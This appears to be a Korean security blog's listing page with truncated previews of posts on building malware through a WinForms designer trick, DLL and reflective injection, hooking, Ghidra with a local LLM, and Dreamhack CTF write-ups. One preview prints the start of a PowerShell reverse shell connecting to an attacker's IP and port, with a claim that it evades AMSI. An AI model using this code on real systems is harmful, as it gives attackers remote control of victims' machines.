Security 23

Winforms 프로젝트를 활용한 악성코드 제작

최근 아는 지인 개발자를 통해 닷넷 Winforms에서 재밌는 코드 실행 방법이 있다고 전해 들었다 내용은 아래의 블로그와 같은데 단순히 Winforms으로 작성된 UI 디자이너를 Visual Studio에서 열었을 때 코드가 실행이 되게 구성을 할수 있다고 하는데https://chanos-dev.github.io/posts/visualstudio-designer/ Winforms 디자이너 보기를 했는데 코드가 실행된다?winforms designerchanos-dev.github.io 처음에는 이게 말이 안된다고 생각했다사용자 상호작용은 단순히 UI 디자이너를 여는 상호작용만 존재하고 그 외에 상호작용 없이 Visual Studio에서 코드가 실행이 된다는게 이해가 안되었다 블로그 내용이 워낙 상세히 ..

DLL vs Reflected Injection

개요DLL Injection과 Reflected Injection의 개념이 서로 비슷한 부분도 존재하고 명확하게 구분이 잘 안가는 부분이 존재하여 개인적으로 정리하고자 포스팅을 진행함 DLL Injection?디스크에 존재하는 DLL을 사용하여 타겟 프로세스에 Injection 후 Execution 시키는 공격으로 타겟 프로세스에 Handle 획득이 선행되며, 타겟 프로세스의 메모리 영역 생성 및 RWX 권한 할당을 할당하여 디스크에 저장된 DLL 경로를 기입 및 실행시키는 기법임타겟 프로세스의 Handle 획득 및 메모리 생성과 권한 할당에 있어서는 Reflected DLL Injection과 동일하지만 DLL 경로를 기입한다는 점에서 Reflected DLL Injection과 다르다고 볼수 있음 R..

[Hook] MinHook 빌드 및 사용 방법

Hooking을 쉽게 구현할수 있는 MinHook이라는 라이브러리가 존재하는데, 아래의 github 레포에서 다운받아 빌드하여 사용할 수 있음https://github.com/TsudaKageyu/minhook/releases/tag/v1.3.4 Release v1.3.4 · TsudaKageyu/minhookImproved error handling for enumerating and suspending threads. Visual Studio 2022 support. CMake support. Fixed compilation with Clang. Fixed compilation as C++ code.github.com 링크에 접근한 후 Release / v1.3.4의 Source code를 다운받음다..

ollama3.1 + mcp(5ire) + ghidra (외부 LLM API 사용이 제한되는 경우)

최근 ghidra도 mcp가 개발되면서 신기한 기능 및 편의성이 많이 생겼음 하지만 외부 LLM을 사용할 수 없는 기업 환경인 경우 해당 ghidra mcp 기능을 활용함에 있어 제약이 생기는데, 이를 로컬에 mcp tools를 지원하는 ollama를 구축하여 어느정도 해결할 수 있음 구축 과정ghidra 설치우선 ghidra를 다운받음https://github.com/NationalSecurityAgency/ghidra/releases Releases · NationalSecurityAgency/ghidraGhidra is a software reverse engineering (SRE) framework - NationalSecurityAgency/ghidragithub.com ghidra는 jdk2..

[tool] Powershell Reverse Shell

reverse_shell.ps1fileless로도 사용가능함(powershell에 동작되게 하면 AMSI 탐지 없이 실행 가능함)$LHOST = "0.0.0.0" # 공격자의 IP$LPORT = 4444 # 공격자가 리스닝할 포트$client = New-Object System.Net.Sockets.TCPClient($LHOST, $LPORT)$stream = $client.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream)$writer.AutoFlush = $true$sendBytes = [System.Text.Encod..

[dreamhack] Simple Patch Me

365일을 코드 패치 하여 짧은 시간안에 Flag를 획득해야 하는 것으로 예상됨 DIE를 사용하여 파일을 확인해보면, ELF 64비트 바이너리인 것을 확인할 수 있음 ghidra를 통해 디컴파일 하면 entry에 FUN_004012b 함수가 존재하는 것을 확인할 수 있음 FUN_004012b 함수로 진입하면 문제 해결을 위한 핵심 로직이 존재하고, 첫 if문 분기 위의 FUN_004010a0이 존재함 FUN_004012b 함수를 확인해보면, sleep에 파라미터인 0xe10 값을 넣고 있는 것을 확인할 수 있고, 0xe10 == 3600 이므로 1시간을 의미함따라서 해당 값을 0으로 변경하여 패치하면 짧은 시간안에 Flag를 출력할 수 있을 것으로 예상됨 성공!

[dreamhack] Inject ME!!!

문제 설명을 확인해보니 특정 조건에 맞춰서 DLL을 로드하면 Flag를 획득할 수 있을 것으로 예상됨 첨부된 dll을 확인해보면 64비트 C++로 짜여진 DLL인 것을 확인할 수 있음 FUN_1800011a0에서 Call 되고 있는 function들을 확인해보면 GetModuleFileNameA, PathFindFileNameA, strncmp, MessageBoxA와 같은 Function들을 호출하고 있는 것을 확인할 수 있음strncmp의 경우 문자열을 비교하는 함수일테니 해당 함수를 중점으로 확인해보면 될 것 같음 GetModuleFileNameA를 사용하여 호출된 프로세스의 Full Path를 반환하며, 해당 값을 PathFindFileNameA 함수를 사용하여 local_2d8 변수에 저장하는 ..

[dreamhack] Secure Mail

문제 설명을 확인해보면 6자리의 숫자로 이루어진 보안 메일을 해결하면 Flag를 획득할 수 있을 것으로 예상됨 secure-mail.html 브라우저로 열어서 확인해보면 최대 6자리의 비밀번호를 검증하는 로직으로 구성된 것을 확인할 수 있음 vscode로 secure-mail.html 열어서 코드를 확인해보면 onclick에 존재하는 _0x9a220 function이 존재하는데, 내용은 난독화 되어 있어서 확인이 힘듦따라서 6자리 숫자로 이루어진 비밀번호 조합을 brute force하여 Flag를 획득하는 방법으로 진행함 (function bruteForceBirthdayPassword() { let foundPassword = false; const startYear = 1990; const en..